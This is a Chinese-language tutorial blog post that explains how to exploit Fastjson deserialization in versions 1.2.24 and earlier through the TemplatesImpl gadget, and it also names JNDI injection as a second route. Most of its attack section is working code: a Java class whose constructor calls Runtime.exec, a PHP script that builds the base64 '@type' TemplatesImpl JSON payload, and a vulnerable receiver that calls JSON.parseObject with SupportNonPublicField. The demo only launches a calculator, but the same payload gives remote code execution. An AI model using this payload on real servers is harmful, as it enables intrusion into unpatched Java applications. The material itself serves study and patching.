fastjson如何漏洞利用?fastjson漏洞利用

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean,可就是这样的一个解析库,它存在漏洞,那fastjson如何漏洞利用?下面来我们就来给大家讲解一下。

对于 fastjson版本 <= 1.2.24的情况,利用思路主要有2种:

1.通过触发点JSON.parseObject()这个函数,将json中的类设置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并通过特意构造达到命令执行

2.通过JNDI注入

利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。

首选准备好poc,也就是之后会装到_bytecodes里面的内容,本地测试是windows系统,所以直接弹计算器,用java运行一下,就会生成poc.class文件

package com.fastjson.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class poc extends AbstractTranslet
{
    public poc() throws IOException
    {
        Runtime.getRuntime()
            .exec("calc.exe");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
    {}
    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException
    {}
    public static void main(String[] args) throws Exception
    {
        poc t = new poc();
    }
}

fastjson如何漏洞利用?fastjson漏洞利用.jpg

拿到这个文件,将其内容进行base64编码,我拿vulhub上用php写的exploit.php改了改

<? php
$bytes = file_get_contents('poc.class');
$json = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["'.base64_encode($bytes)
    .
'"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}';
echo $json;

同目录下运行

1.png

准备下接受的代码,我从vulhub上的fastjson项目进行修改的,使代码更加简洁,逻辑很简单从post的body中的数据进行fastjson的序列化

public class Demo3
{
    public void init()
    {
        get("/", (req, res) - > "Hello World");
        post("/", (request, response) - >
        {
            String data = request.body();
            JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField);
            return "122";
        });
    }
    public static void main(String[] args)
    {
        Demo3 i = new Demo3();
        i.init();
    }
}

运行下能够成功触发计算器

2.png

fastjson存在漏洞,程序员需要知道fastjson漏洞详情,这样才可以避免漏洞。最后大家如果想要了解更多json相关知识,敬请关注奇Q工具网。

推荐阅读:

IntelliJ IDEA安装教程是什么?IntelliJ IDEA有哪些特色功能?

java线程面试题有哪些?java线程面试常问题

零基础如何自学java?零基础java自学教程